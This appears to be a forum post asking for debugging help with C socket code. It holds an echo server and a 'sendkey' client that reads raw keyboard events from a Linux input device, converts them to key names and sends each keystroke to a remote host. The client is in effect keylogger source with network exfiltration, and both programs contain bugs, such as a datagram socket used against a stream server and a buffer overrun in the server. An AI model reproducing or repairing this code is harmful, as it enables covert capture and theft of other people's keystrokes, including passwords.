I believe the server program is functioning properly and that this problem has something to do with my client code. I say this because i am able to use Telnet and connect to my server program, plus I wrote simple client app that connects just fine. It appears that the particular client code below returns from connect but on the server side, the app blocks in accept. I am sleepy and will debug tomorrow but figured I'd post here in the meanwhile. The client reads from a file in the filesystem and sends it using a socket to my server app, or at least it's supposed to. It's gotta have something to do with my client that I am overlooking. I only put the "perror()" functions in there for debugging purposes and I am getting a "Connection Refused" even though the server is indeed listening on said port (Confirmed through netstat -nao | grep "port no")
server
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
#define BUFFER_LEN 1024
void error( char *str );
int main( int argc, char ** argv ){
int connect_fd, listen_fd, nbytes = 0;
unsigned port;
socklen_t client_length;
struct sockaddr_in server, client;
char buffer[BUFFER_LEN], ipv4[INET_ADDRSTRLEN];
setbuf(stdout, NULL);
bzero( &server, sizeof( server ) );
bzero( &client, sizeof( client ) );
if( argc != 2 ){
printf( "Must have 2 arguments\n" );
exit( -1 );
}
server.sin_addr.s_addr = htonl( INADDR_ANY );
server.sin_family = AF_INET;
server.sin_port = htons( atoi( argv[1] ) );
if( ( listen_fd = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
error ( "socket()" );
if( bind( listen_fd, (struct sockaddr *) &server, sizeof( server ) ) == -1 )
error( "bind()" );
if( listen( listen_fd, 10 ) == -1 )
error( "listen()" );
client_length = sizeof( client );
printf( "Listening for connections\n" );
while( 1 ){
if( ( connect_fd = accept( listen_fd, (struct sockaddr *) &client, &client_length ) ) == -1 ){
printf( "accept() - %s\n", strerror( errno ) );
continue;
}
inet_ntop( AF_INET, &client.sin_addr, ipv4, INET_ADDRSTRLEN );
port = ntohs( client.sin_port );
printf( "Connection to %s:%u created\n", ipv4, port );
while( ( nbytes = read( connect_fd, buffer, sizeof( buffer ) ) ) > 0 ){
buffer[nbytes] = '\0';
printf( "%u bytes read: %s", nbytes, buffer);
write( connect_fd, buffer, nbytes );
}
printf( "Closing connection\n" );
close( connect_fd );
}
return 0;
}
void error( char * str){
printf( "%s -%s\n", str, strerror( errno ) );
exit( -1 );
}
Client
#include <linux/input.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
/* Usage: ./sendkey [ipaddr] [port] [file_to_read] */
char * key_jump_table[] =
{
"`", "ESC", "1", "2", "", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BSPACE]", "[TAB]",
"Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]", "[L-CTRL]", "A", "S",
"D", "F", "G", "H", "J", "K", "L", "", "", "", "[L-SHIFT]", "\\", "Z", "X", "C", "V",
"B", "N", "M", ",", ".", "/", "[R-SHIFT]", "*", "[L-ALT]", "[SPACE]", "[CAPS]", "F1", "F2", "F3", "F4", "F5",
"F6", "F7", "F8", "F9", "F10", "[NUM-LOCK]", "[SCROLL-LOCK]", "7", "8", "9", "-", "4", "5", "6", "+", "1",
"2", "3", "0", ".", "", "", "", "F11", "F12", "", "", "", "", "", "", "",
"[ENTER]", "[R-CTRL]", "/", "[PRT-SCRN]", "[R-ALT]", "", "[HOME]", "[ARROW-UP]", "[PAGE-UP]", "[ARROW-LEFT]", "[ARROW-RIGHT]", "[END]", "[ARROW-DOWN]", "[PAGE-DOWN]", "[INSERT]", "[DEL]",
"", "", "", "", "", "", "", "[PAUSE]", "", "", "", "", "", "[L-LOGO]", "[R-LOGO]", "[SOFT-R-CLICK]"
};
void prog_err(char *);
int main(int argc, char ** argv){
struct input_event event;
struct sockaddr_in server;
int file_fd, socket_fd, nread;
char * key, usage[] = "Usage: ./sendkey [ipaddr] [port] [file_to_read]\n";
if(argc == 4){
if(file_fd = open(argv[3], O_RDONLY)){
bzero(&server, sizeof(server));
server.sin_port = htons(atoi(argv[2]));
server.sin_family = AF_INET;
if(inet_pton(AF_INET, argv[1],&server.sin_addr) == -1)
prog_err(NULL);
if((socket_fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
prog_err(NULL);
if(connect(socket_fd, (struct sockaddr *) &server, sizeof(server)) == -1)
prog_err(NULL);
perror("");
fputs("Connected on socket\n", stdout);
setbuf(stdout, NULL);
while(event.code != 0x01){ //Denotes Escape Key Scan Code
perror("");
nread = read(file_fd, &event, sizeof(event));
write(socket_fd,(event.value ? key_jump_table[event.code] : ""), nread);
fputs((event.value ? key_jump_table[event.code] : ""), stdout);
}
close(socket_fd);
}else
prog_err("Error opening file\n");
}else
prog_err(usage);
return 0;
}
void prog_err(char * error){
if(!error)
perror("");
else
printf("%s", error);
exit(-1);
}
This isn't school work or anything, just something I was working on for fun...